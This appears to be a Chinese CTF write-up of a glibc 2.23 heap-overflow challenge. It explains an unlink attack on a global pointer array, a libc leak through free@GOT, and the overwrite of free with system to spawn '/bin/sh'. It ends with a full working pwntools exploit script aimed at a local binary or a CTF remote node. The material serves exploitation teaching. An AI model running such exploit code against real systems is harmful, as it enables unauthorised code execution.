image-20240310191445726

漏洞点

image-20240310191524968

存在堆溢出漏洞,并且溢出范围较大,不存在UAF。

思路

因为溢出范围较大,所以可以考虑利用unlink。

首先利用堆溢出将chunk向前overlapping,这样就拥有了一个比较大的chunk。

1
2
3
4
5
6
7
add(0x80)
add(0x80)
add(0x80)
add(0x10)
delete(0)
edit(1,p64(0)*16 + p64(0x120)+p64(0x90))
delete(2)

image-20240310193041418

1
delete(2)

此时free掉0x1073120处堆块的会发生向前合并,那么就会有一整块unsortedbin,并且这个unsortedbin中还有一个0x90大小的malloc chunk。

image-20240310193243726

image-20240310193308194

image-20240310194101699

所以说满足的条件需要有三个

  • 要被unlink的chunk的size字段要和跟它相邻高地址的chunk的pre_size字段相等。(不包含标志位)
  • 要被unlink的chunk的相邻高地址的chunk的size字段的inuse位必须是0,因为要被unlink的这个chunk一定是free状态。
  • 要被unlink的chunk的fd和bk必须是一个完整的双向链表

对于这道题,我们想unlink处的地方(就是经过unlink便于我们getshell的点)就是0x6020c0处

image-20240310194558301

由于unsortedbin中的fd和bk指向的都是chunk的header指针,但是在0x6020c0处保存的全是chunk的data指针,所以要想能符合条件3,是一个完整的双向链表的话,buf处应该有一个能保存指向某一个chunk的header指针,并且这个chunk还需要满足条件1和条件2

image-20240310195447371

image-20240310195459778

原本的chunk1和chunk2和chunk3合并成了一个大的unsortedbin,并且chunk2是一个malloc chunk。chunk1和chunk3是free chunk

三个chunk的size都是0x90。那么因为chunk2是malloc状态,方便利用edit的堆溢出漏洞,所以可以将chunk2当作unlink的对象。

只要构造好了chunk2,然后free掉chunk1,满足3个条件后,chunk1此时就会向后跟chunk2合并,发生unlink。

1
2
3
add(0x90)
add(0x90)
add(0x40)

为什么是0x90?因为chunk1和chunk2原本是0x90,如果malloc(0x80)的话,那么实际上buf处的指针就全部是指向chunk的data了,那么就构造不出满足条件3的完整双向链表了,因为unsortedbin的双向链表fd和bk都是指向chunk的header的

因为chunk1和chunk2的size是0xa0了,所以buf中保存的chunk2原本的data指针,就是现在chunk的header指针,有了这一个指针,就方便构造完整的双向链表。

image-20240310200746296

image-20240310200834448

1
edit(2,p64(0x6020c0-0x10)+p64(0x6020c0-0x8)+p64(0)*12+p64(0x120)+p64(0x90)+p64(0)*2+p64(0xa0)+p64(0x50))

然后通过chunk2的edit中的堆溢出漏洞来修改后面chunk3的pre_size和size,伪造chunk2处于free状态.

image-20240310201006870

为什么fd和bk分别是0x6020b0和0x6020b8呢?

首先看fd,如果把要被unlink的chunk当作second chunk,那么fd指向的就是first chunk,经过unlink后的first chunk的bk是要被修改的,所以此时0x6020b0被当作first chunk,那么0x10730a0就是first chunk的bk。0x10730a0是要被unlink的chunk

image-20240310201136225

再看bk,跟上述同理,此时0x6020b8被当作third chunk,0x10730a0被当作third chunk的fd指针

image-20240310201502286

image-20240310201637959

然后unlink将second chunk从双向链表中脱出:

1
2
first_bk = third_prev_addr
third_fd = first_prev_addr

image-20240310201843980

1
delete(0)

image-20240310201931666

成功unlink,此时buf中有一个buf指针,那么就能随意控制buf的内容,利用edit和show功能可以泄露free函数的地址,然后再修改free函数的真实地址为system的地址。再往堆区保存一个’/bin/sh\x00’,再利用一次free,即可指向system(‘/bin/sh\x00’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
edit(1,p64(0)*2+p64(free_got)+p64(0x6020c0))

show(0)
rl("the content is : \n")
free_addr = uu64()
lg("free_addr",free_addr)
libc_base = free_addr - libc.sym['free']
lg("libc_base",libc_base)

system = libc_base + libc.sym['system']
lg("system_addr",system)

rl("please chooice :")
sl('4')
rl("which one do you want modify :")
sl(str(0))
rl("please input the content")
s(p64(system))

edit(3,'/bin/sh\x00')

delete(3)

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node4.anna.nssctf.cn', 28672)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.23.so')
def add(size):
rl("please chooice :")
sl('1')
rl("please input the size : ")
sl(str(size))

def delete(index):
rl("please chooice :")
sl('2')
rl("which node do you want to delete")
sl(str(index))

def show(index):
rl("please chooice :")
sl('3')
rl("which node do you want to show")
sl(str(index))
def edit(index,content):
rl("please chooice :")
sl('4')
rl("which one do you want modify :")
sl(str(index))
rl("please input the content")
sl(content)
free_got = elf.got['free']

# gdb.attach(p)
add(0x80)
add(0x80)
add(0x80)
add(0x10)
delete(0)
edit(1,p64(0)*16 + p64(0x120)+p64(0x90))

delete(2)

add(0x90)
add(0x90)
add(0x40)

# edit(2,p64(0x6020c0-8)+p64(0x6020c0))
edit(2,p64(0x6020c0-0x10)+p64(0x6020c0-0x8)+p64(0)*12+p64(0x120)+p64(0x90)+p64(0)*2+p64(0xa0)+p64(0x50))

delete(0)

edit(1,p64(0)*2+p64(free_got)+p64(0x6020c0))

show(0)
rl("the content is : \n")
free_addr = uu64()
lg("free_addr",free_addr)
libc_base = free_addr - libc.sym['free']
lg("libc_base",libc_base)

system = libc_base + libc.sym['system']
lg("system_addr",system)

rl("please chooice :")
sl('4')
rl("which one do you want modify :")
sl(str(0))
rl("please input the content")
s(p64(system))

edit(3,'/bin/sh\x00')

delete(3)

inter()